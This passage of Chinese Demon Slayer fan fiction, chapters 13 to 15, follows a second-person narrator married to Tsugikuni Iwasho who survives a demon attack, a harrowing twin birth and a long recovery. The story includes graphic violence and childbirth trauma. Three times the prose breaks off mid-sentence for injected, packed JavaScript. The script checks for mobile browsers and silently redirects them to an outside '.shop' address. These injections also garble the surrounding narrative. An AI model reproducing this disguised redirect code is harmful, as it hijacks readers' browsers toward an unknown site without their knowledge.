咯吱、咯吱、咯吱…… 这是什么声音? 看不清楚……怎么她们都在哭? “快,快!”是奶娘带着哭腔的催促。 她们还没跑? 你急得要命,疼得也要命,汗水浸湿了衣裳。两双手伸过来,一双托在胁下,一双抬着腿,还要把你往出带。 咯吱、咯吱、咯吱……咔嚓、咔嚓…… 头无力地垂下,你终于看清楚,是怪物正抱着哪儿卸下来的手臂在啃! 妈妈、妈妈的呼声渐弱,屋里只剩下啃食骨头的声音。 你被这骇人的景象震慑,忘了身上的剧痛、忘了关心他人,脑海只剩一片纯粹的空白。 妈妈啊…… “别怕、别怕!”奶娘的泪水滴在你的脸上,“家主马上就回来了!” 你想抬起手摸摸她的脸,至少安慰几句,可半悬空的姿势找不到发力点,嗓子也哑得不像话。 咚。啃完的胳膊扔到了地上。下一秒怪物跳到你面前,这时,月亮升起,你看见她青白的脸几乎就贴着你的脸,锐利的指爪毫不留情的挥下。 好痛! 你感到后背一凉,眼前被血色笼罩,剧烈的疼痛马上袭来,半边身子顿时失去知觉变得麻木,下身的痛也不算什么了。 “花子……”你喃喃道。 这就要死了吗? 好多血…… 你等着下一击更凶悍的厮打,却奇怪地看到她满脸通红,非人的纺锤状瞳孔涣散开,醉酒一样乱飘,行动完全丧失了敏捷,速度连普通人都不如。 “夫人!” “姬君!” 阿系、奶娘两人狼狈地爬过来,刚才那一掀,她们受伤也不轻。 虽然不知道是什么状况,但,要逃跑现在就是最好的时机! 她们两个重新拖住你,硬拽着离开了这间杀戮和死亡的屋子。 血淅淅沥沥地淋了一路,分不清是谁的。 你感到一阵激烈的发动,痛苦地叫出来。 “坚持住,再坚持一会儿,马上就好了,知道吗?”奶娘叫着你的乳名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048779|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不知不觉就带上了哄孩子入睡的语气。 可你知道她哭了,你也是。 不远处传来怪物的吼声,她面目狰狞地冲过来,又在将靠近时奇怪地迟缓。 “家主大人!”阿系崩溃地大喊。 增援有效地解决了当前的困境,你被迅速转移到最靠里的一间屋子,全身像从水中捞出,哆嗦个不停。 “产婆在哪儿,快去叫产婆啊!” “绷带拿过来,先把伤口裹住!” 好多条人影晃动起来,凌乱的脚步一刻不停。 真的要生了吗?你无力地想着。岩胜他,对付得了那个怪物吗? 你在喘息的间隙竖起耳朵听着,前院尽是令人牙酸的撞击声。 很快,你就分不出精神去听了,阵痛压倒了一切,包括你的求生欲。 好痛、好痛……这么痛,还要活着做什么?眼泪扑簌簌地滑落,你哀嚎着紧缩,涌出更多的泪。 这种情绪在格子门整个塌倒时达到了顶峰,隔着泪眼,你看到高速移动的扭曲暗影,她正高高跃起,岩胜抽刀上前,刚出鞘,断刃发出震动的悲鸣。 只有奇迹才消灭得了这样完全超出常理的怪物了吧? 下一秒,奇迹发生。 你没有看到事情的全过程,难产的痛比什么都要命,你早就什么都顾不上。 像被斧子劈、像被车撞,你要活生生地裂成两半,不然怎么会这么痛? “快了吗?快了吗?”你流着泪不停地问。 身边人只是说;“再坚持一会儿。” 所以,还要坚持多久?你从没觉得自己这么委屈,比山高、比海深的那么多委屈在你心里翻山倒海,你要尖叫,你要砍人,你要拿一把刀冲出去,把这些站着说话不腰疼的人都赶走! 屋内屋外,都是你时而微弱时而尖利的泣音和哭喊,刀光剑影的搏杀反而是无声的。 岩胜跌坐在原地,手握断刀,还维持着出手的姿势。就这样,他怔怔地看着那人已臻化境的剑术,刀锋流利地挥出再收回,人外之物被轻易地斩首。 “兄长大人。”来人单膝跪地,为自己没有救下所有人道歉。 一墙之隔,你昏沉沉地徘徊于生死之境,差不多隔上一会儿就在这两个极点打转一圈,力气渐渐流失,身下依旧没有动静。 产婆终于找来了,她一只脚才跨进大门,看到满院子零落的尸块和飞溅的血迹,两眼一翻晕了过去。 奶娘得知后,擦干眼泪来到你身边:“别怕,我来给你接生。” 疼痛每一分每一秒都如此鲜明,世界都在你眼中模糊了,唯有它是清晰的。 你像在一片虚无中独自对抗,也像是丢在了丢在了狂风骤雨的小船上,任由身躯被潮流吞没,能争的只有那一口气、一丝念头。 我得活下去,我要活下去…… “我、我不怕。” 你用力扯住床单,指甲劈叉了也感觉不到。因恐惧溜走的力气慢慢找回,你额头上的青筋都显露出来。 “好,好样的。”奶娘哽咽道。 生死拉锯在继国宅内上演的同时,城郊山头上远眺的视线失望地移开了。 生前的折磨和被欺骗的愤怒的确转换成了相当强的力量,但无节制的杀戮很快就引来了猎鬼人,以至失去了成长的机会。 “无趣。”他简短地点评道,转身离开。 再去找合适的人选吧。 天明时分,你虚脱得躺倒一动不动,整个人和掰开揉碎了重新拼一块儿差不多,你还是痛得厉害,但孩子生出的一瞬间,全身心都放松的的感觉就占了上风。你现在觉得轻快极了,还有力气冲身边看护的人微笑。 奶娘顾不得一夜的劳累,抱起孩子走出来给家主看:“孩子多好看啊,像夫人呢。” 岩胜还是昨晚着急赶来装束,一身残破的甲衣,头发散乱,换了好几个姿势,也没有顺利地把婴儿抱过来而不硌痛他。 这份手忙脚乱,大家都当作初为人父的惊喜宽容笑过,至于这位年轻的父亲一脸魂不守舍,就更不忍苛责了。 宁静的喜悦在人们的心中默默流淌,新生的生命总能驱散一些死亡的阴影,顺利逃生的各位禁不住哭出声来。 “可是,”缘一突兀地开口,他不明白这些人的反应,奇怪地左顾右盼。 “还有一个孩子没生出来啊。” 14. 第 14 章 一句话从天堂到地狱就是这种感觉吧。 阿系最先撑不住,掩面跌坐,眼泪滚滚而下。 奶娘傻住,头一回觉得自己可能听不懂人话。 “还有一个孩子,哪儿?什么意思?” 岩胜如梦初醒,卸去上身的胸甲和手臂上的护具,把孩子抱过来。 “快,再去找,还有没有其他产婆?” 整夜的痛苦全部重新来过。 你在一次次蓄力、滑脱的过程中绝望,泪水顺着眼角打湿枕巾。 “我没有力气了,”你哭着说,“我真的一点力气也没有了。” 紧张刺激的逃命已经去了你大半的体力,能生出第一个都是意志力的结果,肚子里还有一个的事实就把它瓦解掉了。 奶娘把熬好的参汤一勺一勺喂进你嘴里:“不怕,不怕,咱们吃了东西就有力气了,乖啊……” 你努力吞咽,仍是哭泣:“不行,我不要生了,能不能不生啊……” 奶娘的泪滴到碗里:“好,不生了,再不生了,只生这个,好不好?” 直到午后,也没有第二位产婆到来。最终是缘一请来了据称是“紫藤花家”的医师,给你诊断。 这位医师来自山的另一边,岩胜发话后,他迅速出发,竟在天黑前就把人带来了。 你已说不出话,面色也灰白下去,隐约看到她白色的帽子晃来晃去。 “夫人没办法生产了,”她收回搭在你腕上的手指,“只能用药把孩子打下来,你们快拿主意吧。” “不行、不行!”屋外,奶娘歇斯底里地喊叫起来,“孩子都这么大了怎么打?打下来,夫人能活吗?” “这,确实有可能打不下来。”医师急得直冒汗,她是治队里受伤的剑士的,看产妇还是头一回。 “但鬼血对人有害,再不打,毒就要渗到胎盘里去了,大人、小孩都会死的。” “胡说八道!”奶娘勃然大怒,“什么鬼、什么鬼血,从来没听说过!你个庸医,你吓唬谁呐。家主,家主大人,我们再去找个产婆吧,孩子能生出来的,肯定能的,呜……” 她哭得说不下去了。 你气息奄奄地躺着,那一叠一叠高上去的声浪,震得你头疼。你艰难地喘息,终于举起了拳头,落在榻榻米上。 咚、咚、咚…… 是不是还得用点儿劲儿? 你抬起发颤的手,跌入一只宽大的手掌,柔软地陷进去。 岩胜、岩胜。 你用眼神呼喊他,一瞬间心里就有了决定。 他俯下身,可你还是发不出声音,只好指向医师的药箱。 “你要打?” 你点头。 他一言不发,揪紧你身上薄薄的被单,头埋进去,肩背痉挛一样耸动。你伸手,摩挲他的额发。 药很快熬好,奶娘拒绝端进来。岩胜亲手捧着碗坐到床前,你尽数喝下去。 药力发挥作用,熟悉的紧缩感从下身传来,你瞬间疼弯了腰。 催发的痛感和婴儿自然娩出截然不同,似有一只大手蹂躏腹部,撕扯着骨肉。你大声痛呼,汗水涔涔涌出。 你疼得眼前发黑,四肢都不大听使唤起来。 岩胜死死摁住你抽搐着挺起的身躯,保持好固定的姿势。你像只案板上的鱼,在他禁锢的怀抱里扑腾,肩上裹好的伤挣裂开来。 被那个怪物弄死,就不会折磨这么久了吧? 你浑身发冷,感到死之将至。 “血,流了好多血!”侍女哭道。 “岩、岩胜,”你被这冲撞的力道弄得有了些说话的余力,“嘱咐的话都说过,你知道怎么做。我要说,你进来,我、我很高兴,不要怪自己……” 你跌入到一片血色中。 缘一说,你流掉了身体里近乎四分之一的血,浓厚的血香飘出去好远,引得外地的鬼都忍不住接二连三地跳进来,他整个后半夜不得不守在门前挨个斩杀。 岩胜就背对着他,跪坐在残破的屋内看医师用尽办法给你止血,旁边放着那把断掉的刀。 因为损耗过多,你足足昏迷了五天才醒。在这之前,没人觉得你能活下来。 时透家得到消息,你的父亲难得出门,坐上牛车来看女婿。 岩胜正焦头烂额,你的抢救刚刚告一段落,那个打下的孩子浑身青紫,哭声弱得听不到,医师掉过头就在母亲的病床前全力救援孩子。 可时透家主是盟友也是亲家,必须亲自接见。他匆匆换一身衣裳,赶到堂屋,凌乱的头发和仪表都顾不上了。 “事情我都听说了,真是闻所未闻。”时透家主长吁短叹,“查探的人回来说,秋山全家无一幸免,其他家损失也不小,这可如何是好,他们的封地田产可怎么办呢?” 对方的目的,岩胜听明白了,但他无意思考这个问题。短短一个昼夜,某些世俗的标准已在他心中粉碎,不再有投入精力的价值。 “岳父大人自有安排,在下听您的就是了。”他心不在焉道。 见女婿如此“上道”,时透家主喜不自胜:“好、好,贤婿放心,我自是有章程的,亏不着咱们两家。” 又道:“那孩子的事我也听说了,唉,死生有命富贵在天,她是福薄了些,贤婿别太难过了。她有个一母同胞的妹妹,今年十岁了,模样、性情比她还强呢,明年嫁过来,咱们两个还是翁婿,两家的盟约嘛,照旧!” 岩胜猛地站起来。 时透家主正倒了酒要和他碰杯,这一下子吓得不轻,杯子掉了下去。 “这、这是何意啊?” 岩胜袖子抖了抖,到底没说什么,大步流星走开了。 你醒来的时候,落霞烧满大半边天,映在窗纸上红红的。你静静地看了好一会儿,才感到意识、知觉还有记忆一一归位,神经缓慢地把信号元推送到每一处末梢,就像是闲置了很久的旧网址,点进去加载半天才刷出了页面。 你半眯着眼,感受阳光的余晖落在身上的暖意,骨子里却透出深深的冷。 你觉得冷,还渴得厉害,这都是大量失血的症状。你有现代人的基本医疗常识,知道自己余生要面临怎样的境地。 奇怪,你心里什么想法也没有,脑子空空荡荡,就这么一动不动地躺着。阿系来给你掖被角,激动地打翻了一旁的杯盏。 屋子里来了好多人,你费力地转动脖子看他们一眼,在一片模糊的人影中认出岩胜的脸。 那大团不规则的灰从夕阳的红中消退,只剩下他一人。你歪过头想要看得更真切些,他已快步上前握住你的手,俯下身轻声叫你的名字。 你费力地笑一下,使劲抬起头贴一下他的脸。 他捧住你的后脑勺轻放回枕上,两额相触,柔软的脸颊之间隔着水的微凉。 你不说话,挨紧他,昏沉沉地睡过去,一睡又是好多天。 足有大半个月,你就这么断断续续地时睡时醒,醒来迷迷瞪瞪,睡后总是心悸惊醒。 那位医师说,你目前元气大伤,根基已损,最怕的就是邪风入体。你用现代的语言翻译一遍就是:你的免疫系统全面崩溃,一点轻微的感染都有可能让你逃过一劫的小命呜呼掉。 奶娘和阿系随便用了点药,不顾自己的伤病轮流看护你,为你擦净身体,换上整洁的寝衣和被褥,二十四小时都不断人。 趁着清醒的时候,你叮嘱她们用纱布遮住口鼻,开水消杀餐具,最好每天更换衣物,尤其注意勤洗手。至于她们执行得怎么样,你无力监督。 岩胜也过来陪你。死者的入殓、抚恤,家中的修缮还有邻国武士暴毙的混乱,太多的事要由家主一人处理,但他每晚都归来,躺在你身旁度过短暂的休整时间。 你夜半梦魇,惊厥醒来,哭个不停的时候,他就熟练地搂住你低声安慰。 有时你忘掉自己刚刚生产,心安理得地在半梦半醒间躺上一整天,有时你突然梦到孩子憋到青紫的脸,哭喊着奔到摇篮前试探他们的鼻息,把孩子也吵得哭起来。 你糟糕的身体和精神状况成为这个家每个人的折磨,自己也在起伏不定的衰弱中持续地崩溃。 与之相反的是,幸存的武士家族都在分食秋山等家的遗产后呈现出欣欣向荣的态势,河道两边的势力分布全部重新洗牌,一座座桥竞相竣工,用来连通他们扩充的领土。当然,大家都吸取了教训,用牲畜来奠基。 这些没有人来告诉你,直到天气转暖,你才有了明显的好转,可以持续地坐上好一会儿而不会突然睡过去。 在这种情形下,孩子满月、百天之类的庆祝只能潦草对付过去。 缘一定期带医师前来探望,给你还有阿系等人看伤,鬼造成的伤口护理得很好,每天敷上紫藤花,疤痕淡得看不到了,但失血的后遗症谁也无能为力。 你已经有了足够的定力面对那晚的灾难,缘一在你不断的追问下吐露了很多信息,你慢慢消化着。 “我是稀血?”你问。 缘一点头。 好,又一条路堵死了。你绞尽脑汁回忆起来的中学生物知识毫无用武之地,输血什么的,别想了。 知道了那个上蹿下跳用非人速度移动的怪物本质上还是碳基生物,你才觉得世界观救回来点,马上迎来痛击。本以为自己会很失落,却又在一瞬间觉得“果然如此”,你从来就不是被幸运眷顾的人,不如说,简直是霉运缠身。 “那‘鬼’是怎么来的?” 缘一解释好久,医师从旁补充后,你弄清楚了。 “也就是说,每只鬼都曾是妈妈生的孩子吗?”你喃喃道,不知不觉泪水流下,“怎么会有这种事啊。” 那个可以舍去一切为后代铺路的母亲,那个毫不留情收割人命的怪物,你要怎么接受她们是同一个啊。 缘一无措地移开视线,他从来就不懂得怎么回应别人的感情流露。 “可是,”医师愤愤不平道,“不管生前多么可怜,变成了鬼就是罪恶的生物。要为鬼难过的话,多少死在鬼下的人我都哭不过来呢。” “不一样的。”你把花子的故事讲给他们听。她为孩子付出过多大牺牲,又如何在丧失理智后将他们无情地吞食。 “如果是我的话,人生眼看着就要走到尽头,最牵挂的事却还没有了结,仅剩的愿望成了别人欺骗的诱饵,这种情况下要怎么拒绝诱惑呢?以为有了延续生命的希望,结果却是另一场骗局,爱的人也赔了进去,还有比这更悲惨的事吗?鬼的确是充满罪恶的生物,但你们说的鬼王才是最可恨的啊!” 医师义愤填膺的比划僵住,随即感到和你一样的悲哀。 “是啊,鬼就是这样虚无,可恨又可悲的生物啊……” 你们又聊了很多,从鬼的话题到你的身体恢复情况,岩胜在旁边静静的听着,不发表任何意见。 缘一告诉你,你流掉了身体里近乎四分之一的血,五脏六腑都因此受到了损伤。医师很认同这一判断,讲了很多日常要注意的事项,奶娘一一记下来。 你知道有经验的人看到血迹就能预估出血量,但他们这个反应……你看看缘一,又看看岩胜,把话咽了下去。 你精神渐好,岩胜能腾出手来收拾鬼造成的内务、外务,他处理好所有,要动手惩罚那晚弃家逃命的侍卫家臣。那天,你拦住他,恳切地劝告。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048780|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “岩胜,算了吧。” 醒来的那天,你看到阳光那么得美,没有语言可以表达心中的喜悦。生死之间走了一遭,你更能感到生命的可贵,理解一切求生的挣扎。 活下来是多么不容易的事,何必再造杀孽呢? “他们罪有应得,”岩胜捏捏眉心,短短数月那里出现了一道深痕,“这是背主!” 你需要的是忠心耿耿的下人,比以往任何时候都需要。他想。 “他们没有背主,”你说,“我相信,如果是哪家的武士打了过来,他们一定会用生命来守护我、守护继国家的,可来的是鬼,谁知道怎么应对呢?” 人是会为认知之外的事物惊恐、呆滞、举止失措的。你想起那一刻自己的绝望还有三观都震碎的感觉,别人会好得了多少呢?古人只会更加这种敬畏未知现象吧。 “岩胜,放过他们吧。” 岩胜眼里的执拗一点点化开,他疲惫地低下头,默许了你的请求。 他愤怒、不原谅,是因为从未走出那个夜晚,他总是责任心太强,稍有不如意就怪在自己头上,活得太累。你希望你的宽容能让他也放过自己。 在你的要求下,他取消了处决,可还是有人在返回家中后选择了切腹自尽。对此,岩胜并不意外,他说这才是武士应有的操守,你不懂。 你只为生命的逝去感到痛苦、悲愤…… 到处都是亡者的白幡,哀乐从村子的这头响到那头,没有人能从沉重的氛围中逃出来。 “岩胜,开心一点,”你紧紧地抱住他,“也有好的事情,不是吗?缘一回来了。” 当时,认出那个总是出现在门外的影子是缘一,你惊喜了好一会儿。虽然马上就睡过去了,那种情绪还是持续了一段时间。岩胜他的感情,只会更甚于你。 “母亲要是在的话,多么好啊。” 缘一说,他加入鬼杀队有一阵子了,工作是四处杀鬼,因为你的缘故,这一带鬼的数量上升他才常来。不过杀了几拨后就平静了,他也该走了。 医师先行一步,临走前她送给你一个紫藤花香囊遮掩稀血的香味。 缘一在席子的另一端向你们顿首行礼,接着起身后撤,准备离开。你看见岩胜膝盖上的手瞬间绷紧,手背上青筋暴起。 “我们让他留下来吧,”你说,“我想,这就是母亲大人的心愿。” 岩胜,你的心愿也是这样的吧? “不知道怎么开口的话,我去说。” 你追他到院子里,缘一惊讶地回身注视,然后单膝下跪。 他为自己没能及时赶到深感抱歉,明白他的意思后,轮到你惊讶你了。 “缘一,你救下了岩胜、我、阿系……还有好多好多人啊。” 难产的事,谁也不想的。你已经尽到了一切的努力:从小锻炼,保持身体健康,避孕,推迟到相对合理的年龄才怀胎,孕期也处处注意,可还是天降一只鬼直接把人逼到绝境。天意不在你这边,没办法的,能怪谁? 他黯然地垂下眼眸,一言不发。 你习惯了他的无言以对,直奔主题:“缘一,留下来和我们一起生活,好不好?” 你也是最近才了解到,这个时代的日本,不仅是双生子饱受歧视,诞育双生子的母亲也会被蔑称为“畜生腹”。那么,朱乃夫人的愁苦,继国家主的顾虑,还有他们兄弟的逃避,你都有了更深一层的理解。 “不久之前,我才对母亲的心稍稍有了体会。”你双手相握放在胸前,不知道怎么表达得更准确一些。 岩胜答应了你把两个孩子养在一起的愿望,也告诉了你可能引来的非议和麻烦。可是,到底是无辜稚子还是世人的偏见引来了灾难? 你告诉自己的丈夫:我确定自己在做什么,外界的声音就全是无关的噪音。 这样的话,缘一听得懂吗?而且,最关键的是怎么说服他留下来。 “我的两个孩子,缘一你也看到了。小的那一个,他实在是太可怜了,那么小一点,拖那么久才生下来,他又病又弱,全是我不好,是我把他生成这个样子的,想到他将来会过得很艰难,我的心都要碎了。” 你近来多愁善感,说着说着眼眶微微湿润,你用力眨一下眼睛继续道:“缘一,回来吧,母亲在天之灵看到你这样奔波,她也会心碎的。” 缘一抬起头,怔怔地看着你。 “我……” 他开口,你满怀期待地对视。 缘一扭头:“我走了。” 来到墙角的樱花树下,他停下脚步。 “这个世界上,充满了美好。”他看着飘落的粉色花朵,“能降生在这个世界,我感到很幸福。可是,因为鬼的存在,幸福与美好变得脆弱,可以被轻易毁灭。”* “如果可以的话,我只想尽我所能,除尽世上所有的鬼。” 缘一他,找到了自己真正想做的事,看来是劝不回来了。你欣慰,更感到头疼。 “可是,缘一,这个世界不仅有鬼,还有催生鬼的贪欲、邪恶、偏见与不公,层层剥削的制度,自相残杀的战争,一场突如其来的天灾人祸,甚至只是人与人之间的不理解,都会酿成惨剧,把世界变成鬼的温床。” 到时候怎么办呢,缘一,这些你要怎么应付呢?所以,回来吧,家人会是你永远的后盾,不要单方面地把自己放逐。 你要说下去,但你看得出来,缘一又开始听不懂了。 “我和你哥哥都很想你,有空多回来看看吧。”最终,你如是说。 他似乎笑了一下,转身要走。 “缘一,最后一个问题,”你说,“我还能活多久?” 15. 第 15 章 奶娘把孩子抱给你看。只隔一天出生的两个小婴儿,原本该一般大的兄弟俩,现在哥哥明显比弟弟大了一圈。 你知道,不是长子长得快,而是小的那个发育迟缓。 你抱起弟弟,担心地看着他握成拳的双手。这似乎是肌张力不足的表现,是脑瘫的症状之一。想起这孩子早产又难产,你的心都揪起来了。 可是,你看来看去,看不出个究竟,恨不能变出X光给照照。 看过的几位医师只说这孩子体弱不好养,别的就没了。但还有一种迟发性的脑瘫,据说两三岁才能看出来呢。更怕的是,都用不了多久,这个格外弱小的小婴儿就自己停下了呼吸。 你梦中都坐立难安,醒来好几遍去看孩子,深恨自己上辈子看了太多杂七杂八的书,要不是懂这么多,这会儿也不会整天自己吓自己。 两三岁啊。你想,至少三年内自己是没法安生了。幸好,三年你还是有的。 你再换哥哥抱起,看到他宁静的睡颜,心里稍稍踏实了点。 “这下不用担心分不清哥哥弟弟了。”你苦笑道,“本来我还想,他们跟你和缘一似的,我就难了。” 岩胜停顿了一会儿才说:“我们没那么像。” “胡说,我可是全靠他的胎记呢。你们长得一模一样,身量身形也像。我还以为缘一在外面吃不好睡不好会长不高呢,没想到差不多。还是遗传靠谱啊,这下不用担心孩子们的身高了。” 你捧起他的脸,仔细端详,又道:“不对,我在开玩笑,你比他漂亮,我不会看错——怎么不说话?” 你轻抵他的额头,在唇上贴了一下。 “在想什么?” 岩胜摸摸你的头发。 “在想给孩子们找奶娘的事,家臣推荐了几个人选。” 因为事出匆忙,这段时间,你们都是找村子里生产过的女人们帮忙喂养。 你全身绷紧,害怕地护住两个孩子:“不,不行,你答应过我可以自己带他们的!” 继承人不能由生母抚养是武家的规定,你知道岩胜就是这样长大的,你的大弟弟名份确立得晚,也是一早就抱离了后院见不着几面,可你绝不接受自己也这样! 剩下的时间已经如此稀少,还要因为陈规陋习和孩子分离,这怎么能接受? 强烈的情绪波动让你又开始眩晕,你一下撑不住差点压到襁褓,岩胜眼疾手快,一手揽住了你倾倒的身子。 “我答应的事不会变,”他的声音始终沉稳,“但照顾两个孩子太过辛苦,我不忍心看你这么累。” 你缓过来,意识到自己的应激多么伤人,抱着脑袋,懊恼得不知该说什么。 “放心,来的人只会是你的帮手,谁也无权干涉你什么。”他安抚地向你保证,直到你完全放松下来。 “岩胜,对不起,我只是很害怕,控制不住。” “我知道。”他说。这是我的错。 虽然放出了豪言要自己带孩子,但其实你根本承担不了一点养育责任。 疲惫感像细长的水草无时无刻不缠绕着你,睡一觉醒来神清气爽的感觉已永远消失,你在镜中看到自己的脸上蒙着一层灰色,何时都亮不起来,唇色淡得近乎没有,你整宿地失眠又整日地睡不醒,无论是做着什么还是在休息,总是一副歇不过来的样子。 你努力地想要振作,从散步开始恢复体力,没有胃口也按时吃饭,每天至少陪孩子们玩上两刻钟,但每次都是坚持一会儿就心悸、气短,进而头晕眼花。 心里还装着跑跳随心的自己,孱弱的□□却时刻将你束缚在狭小的屋内。于是你过着和其他贵妇别无二般的生活:下人们负责照看孩子,每天抱来给你看看。区别仅仅是,他们就养在你的屋里。 你不得不认清现实,但还是想尽量做些什么。你教奶娘多给弟弟做按摩,帮助他复健,留心两个孩子的发育情况。 哥哥按部就班地伸懒腰、转身、坐起来,到了弟弟这儿就格外艰难,因为病痛,他不断地哭泣,声音也格外的微弱。 你抱着他又拍又哄,实在不知道还能怎么做,每次受挫后,硬撑着回到自己房间里,忍不住就哭一场。 还好,岩胜每一次都在。 鼓起勇气的时候,期待破碎的时候,累到麻木、冷漠的时候,他都在,接住你的每一种情绪。 你担心会耽误他的事,可岩胜总是说:“我会陪着你。” 你不知道外人会有多少微词,岩胜从不让它们传进来,可父亲时透家主的不满就没有办法了。 奶娘私底下告诉过你,那件事后你父亲来过一次,不知和岩胜说了什么,两个人不欢而散。 你猜,肯定不是什么好话。你太了解他的德性了。 想起今生这对父母,你心中涌起的全是和亲情无关的东西。 即使心里明白这是怎样的时代,可他们对世道规则的认同,理所当然都不够,而是如鱼在水般自然自在,他们娴熟地抓取一切甚至血肉砌入这个有利于我的世界,不会觉得有任何不对,相反,看出、指出这点的人才是邪恶的、要被消灭的。 他们实在是一对太标准的武家夫妇,没有半分程序之外的东西,像教科书上的全家福,因为所有人长着相似的周正五官,向同一方向发出幅度一致的微笑,从头到脚透出股伪人味儿,你常常在意识到这点时遍体生寒,实在生不出亲近之心。 感情是相互的,你知道父母也不亲你,骨肉血缘能淡薄到这种程度真是可哀。掺水的孟婆汤让你们无法成为真正意义上的一家人。如果不是长期占据着长女叠加独女的生态位,一开始的那些栽培和重视都不会有吧。 你越是明白他们的凉薄,越感到已拥有的珍贵。有向世俗低头的继国家主,随波逐流的时透夫妇,也有为孩子反抗丈夫的朱乃,有体贴他人甘愿付出的岩胜,环境只不过是提供某种便利,人长成什么样还是凭自己。 这样看来,虽然穿到了哪哪儿不方便的古代日本,上天待你不能算不厚,混成现在这样,是你自己太没用了。 “岩胜,别理他。”你同仇敌忾道,“他就嘴上说两句,能干嘛?” 岩胜笑笑就过去了。 他从来不在意,只是替你不值。但这话,他是不会说的。 岩胜几乎用全部的时间来陪你。 秋天到来。他亲自动手,在你房门对面沿着墙面挖开一条浅沟,移栽下缘一寄来的植株。 第二年五月间,新生的枝条攀上搭好的架子,吐出粉紫色的花穗,满院香风习习,芬芳馥郁。 这附近温泉多,地热资源丰富,花期很长。一年漫长夏秋两季你们伴着紫藤花香度过。 阿系拉起格子门,你和孩子们就坐在檐下看着,次子靠在你身侧,长子已经能跌跌撞撞地跑出去,伸手去够花瓣,被落下的花粉呛得直打喷嚏。 晚上挤在一间屋子里,你们就看窗外的星星。你再次把天文学知识忘个干净,正好听岩胜重新讲解一遍。不巧碰到云多的夜晚,就看月亮的光华在水汽中衍射出五彩的晕轮。两个孩子抱着被子似懂非懂地听织女的故事。 岩胜分别给他们取名为进一和止一。 他说一是起源也是整体,是开始也是圆满,包含无限的生机。你很喜欢。 生活像是晒在棉被上的阳光,柔软温暖,只除了身上的冷。你的屋里四季都点着火盆,也驱散不了无处不在的冷意。各式各样的补品流水一样地送进来,你养到能走路、说笑,做一些简单的活,还是觉得冷。 岩胜询问身体状况,你总是回答“我感觉好多了”。 他日渐沉默,处理好大部分事物,像是要把一辈子的事都一口气替你干了。 期间,他只出门了一次,给断刀举行法事。出自神社的奉纳玉钢,千锤百炼的名家手笔,精挑细选出来供奉佛前的真打,断裂后也要重归寺庙剑葬。 没事做的时候,他也不肯闲下来,看你吃力地从架上取书,索性连整理笔墨纸砚这种小事也代劳了。 你们多了很多共读的时光。他听你朗诵喜欢的文字,声音朗朗可咬金断玉,一字一句仿佛有金属的色泽,不同于庙里学问僧黏糊的吟诵。 养病的时间漫长难熬,你翻完了朱乃留下的佛经,圈点尽了上面的警言妙句,自感足以出家。 岩胜大部分时候静静地听,有时问几句,你就用日语解释一遍。* “佛经也有些意思,很多道理是相通的。”一次他说。 “你说哪一句?”你精神一振,赶紧问他。 “盲龟浮木喻,”他说,“浩瀚大海中的一只盲眼海龟,百年探头一次,恰好钻进一块浮木的孔中得遇佛法,凡人触摸不到天才的境界,就像这盲龟把方寸的机缘当作什么了不起的东西,不是很可笑吗?”* 你隐约嗅到危险的气味,却茫然不知如何应对。他已自知失言,转移了话题。 “你读得真好听,再读一些别的吧。” 人们对他者的解读往往是给自己下的考语,你觉得可能读什么都一样。 你放下佛经,改看诗文,哪首阳光积极就读哪首。岩胜不再擅自发表评论,你攒了一肚子的话没处说,深深地怀疑他是故意的,可岩胜不给你发难的机会,埋头整理纸张。 出事之前,你写了厚厚的几沓子笔记,有汉字的,也有假名的,零零散散地夹在各种书里,一直想不起来收拾。岩胜帮忙取出来,按顺序一一摆放好。 你抢过来自己整理,他也不恼,就这么看着,需要哪本就乖乖地递过来。你没心思干了。 巨大的问题横亘在面前,当事人拒绝处理。 他只是翻看手里的字纸说:“你真的很有才华,这样的汉学水平是我平生所见的第一,多少自夸学问的人根本比不上,就凭这一点,你当初完全能嫁到更高的人家,岳父肯运作的话,嫁入公家甚至入宫也不是难事,我……” 你捂住他的嘴:“别说了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048781|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 岩胜停下,眼睛不敢看你。 “岩胜,嫁给别人或许会有更富贵的生活,可嫁给你才有我想要的生活,你明白吗?”你尽量用轻松的口吻去说,但失败了。 “你说的那些,确实存在实现的可能,但它们都太复杂了,我应付不来。” 你承认,美貌、才华、金钱、地位之间等价或不等的交换,是人世间赖以运行的基本规则之一,人生的本质就是不同的换算,不乏有高手通过令人眼花缭乱的公式推导走上巅峰,但你仍然希望自己的配平步骤能简单再简单一些。 冥冥之中若有天意,就让人皆得偿所愿吧,你只要你的世界里,一切事物都是它们本来的样子。才华就是才华,爱好就是爱好,不必非得换来什么。 